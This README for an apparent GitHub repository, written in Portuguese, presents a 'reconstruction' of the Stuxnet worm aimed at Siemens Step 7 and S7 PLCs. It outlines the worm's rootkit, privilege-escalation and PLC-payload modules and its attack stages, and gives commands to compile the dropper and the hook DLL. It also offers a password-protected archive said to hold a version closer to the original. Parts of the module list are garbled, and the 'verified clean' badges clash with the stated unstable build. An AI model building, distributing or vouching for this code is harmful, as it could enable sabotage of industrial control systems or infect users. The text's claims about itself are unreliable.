
Reconstrução educacional do worm Stuxnet para análise de malware e pesquisa defensiva. Inclui módulos para escalonamento de privilégios, funcionalidade de rootkit e injeção de payload em PLCs, visando PLCs Siemens Step 7 e S7.
Obrigado por gostar deste repositório. Seu valor está em libertar as pessoas da necessidade de ler relatórios entediantes e dispersos que chegam a milhares de páginas, os quais consomem uma enorme quantidade de tempo e energia. Este repositório é altamente legível; ele não persegue cegamente a versão original, mas é mais voltado para leitores em geral.
Este repositório contém uma reconstrução estritamente educacional e voltada à pesquisa do infame worm Stuxnet. É o produto de incontáveis horas de trabalho de engenharia reversa conduzido pela comunidade global de pesquisa em segurança sobre as amostras binárias originais descobertas em 2010.
A Qualidade do Código Aprovada, Cobertura Bem-Sucedida, Código Limpo Verificado. Mas a compilação está em estágio instável.
Aviso: Este código é fornecido exclusivamente para estudo acadêmico, treinamento em análise de malware e pesquisa defensiva. Os autores e colaboradores não endossam atividades ilegais ou antiéticas.
Não se destina a ser usado para quaisquer fins maliciosos, nem é uma peça de malware implantável.
- Status
Visão Geral
Componentes Principais
Arquitetura Técnica
Instruções de Compilação
Uso
Legal e Licença
Agradecimentos
# Status
- Compilação: Instável
- Código Limpo: Verificado
- Qualidade do Código: Testes Aprovados
- Cobertura: Excelente
Hora: 2026-10-17 06:00
Adicionada uma versão mais próxima do original em detalhes, além de uma versão limpa. ambas construídas inteiramente a partir das pistas conhecidas. O arquivo se chama Reboot.zip e a senha é Stuxnet.
Se você não acha que a versão de reconstrução é boa...
O Stuxnet é amplamente reconhecido como a primeira ciberarma conhecida projetada para causar destruição física a sistemas de controle industrial (ICS). Ele visava especificamente o software Siemens Step 7 e os PLCs S7-300/400, manipulando, em última instância, acionamentos de conversores de frequência para danificar os rotores das centrífugas.
Este repositório é um código-fonte reconstruído derivado dos binários descompilados. Ele preserva a lógica e os vetores de ataque originais, ao mesmo tempo que estrutura a base de código para legibilidade e análise.
Alvo: Siemens SIMATIC WinCC, Step 7 e PLCs S7.
Propagação: unidades USB (exploits LNK), compartilhamentos de rede (Print Spooler), Peer-to-Peer (P2P).
Carga útil: Modificação da lógica de blocos do PLC (OB1/OB35) para alterar as frequências dos motores.
Furtividade: Capacidades avançadas de Rootkit (MRxCls.sys, MRxNet.sys) para ocultação de arquivos, processos e registro.
O repositório está organizado pelos módulos primários identificados durante a análise do malware original.
winsta.exe, ~WTR4141.tmp~WTR4132.tmpWin32k.sys para obter privilégios em nível de sistema.s7otbxdx.dlls7otbxsx.dll original. Ele intercepta a comunicação entre o Step 7 e o PLC.- Módulo: Biblioteca de Hooks do Step7
- Nome do arquivo:
s7aaapix.dll- Descrição: Intercepta chamadas da API AUT (Automation Tool) dentro do ambiente de engenharia Step 7.
mrxcls.sysmrxnet.sys- Módulo: Payload (Ataque)
- Nome do arquivo:
s7plcmain- Descrição: A lógica central responsável pelo ataque de "Adulteração de Frequência" que danifica as centrífugas.
A seguir está descrito o fluxo de execução de alto nível do framework Stuxnet.
Estágio 1: Vetor de Infecção Inicial (USB/Rede)
Estágio 2: Dropper e Escalação
Estágio 3: Verificação do Ambiente
Estágio 4a: Alvo Encontrado (Software Siemens) -> Instalar Hooks S7
Estágio 4b: Não-alvo -> Autodestruição/Inatividade
Estágio 5: Monitorar Escritas no PLC
Estágio 6: Detectar Escrita em OB1/OB35 -> Injetar Payload
Estágio 7: Modificar a Saída de Frequência
Estágio 8: Dano Físico às Centrífugas
Estágio 9: Instalar Rootkit (MRxCls)
Estágio 10: Ocultar Arquivos e Registro
Estágio 11: Carregar Módulo de Rede (MRxNet)
Estágio 12: Propagação P2P
Fluxo de Execução
Reconhecimento do Ambiente: O worm verifica a presença de softwares específicos da Siemens (WinCC, Step 7) e de PLCs alvo específicos (S7-315, S7-417).
Injeção de DLL: Ele intercepta a chamada da função s7blk_write.
Injeção de Código: Quando um usuário baixa um projeto para o PLC, o código malicioso é anexado aos blocos OB1/OB35.
Impacto Físico: O PLC executa o código manipulado, fazendo com que os inversores de frequência (VFDs) conectados girem em frequências anormais (alta/baixa), resultando em danos mecânicos.
Importante: Este código-fonte foi projetado para análise estática e depuração em um ambiente virtual controlado. Ele não se destina à implantação em qualquer infraestrutura crítica.
Ambiente de Compilação: Microsoft Visual Studio 2019/2022 (Windows) ou mingw-w64.
Sistema Operacional Alvo: Windows XP / Windows 7 (para compatibilidade com drivers).
Driver Kit: Windows Driver Kit (WDK) 7600 (se compilar drivers em modo kernel).
Compilando os Módulos User-Mode
Clone o repositório
git clone https://github.com/Sadpainy/Stuxnet.git
cd Stuxnet
Compilar o dropper principal
cd Main
nmake /f Makefile.win
Compilar a biblioteca de hooks S7
cd ../s7otbxdx
cl /LD s7otbxdx.dll.c user32.lib ws2_32.lib
Este código destina-se a:
Análise de Malware: Compreender a lógica de código específica utilizada em ameaças persistentes avançadas (APTs).
Pesquisa Defensiva: Desenvolver assinaturas de deteção para ferramentas de segurança de ICS (por exemplo, regras YARA, assinaturas Snort).
Estudo Académico: Examinar a interseção entre a cibersegurança e a proteção de infraestruturas críticas.
Configuração da Análise
Isolar o Ambiente: Utilize uma máquina virtual (VMWare/VirtualBox) com rede Host-Only ativada. Desative a conectividade à internet.
Carregar Módulos: Analise os ficheiros .dll e .sys utilizando ferramentas como IDA Pro, Ghidra ou x64dbg.
Monitorizar a Atividade: Utilize o Process Monitor (ProcMon), o Process Hacker e o Wireshark para observar o comportamento.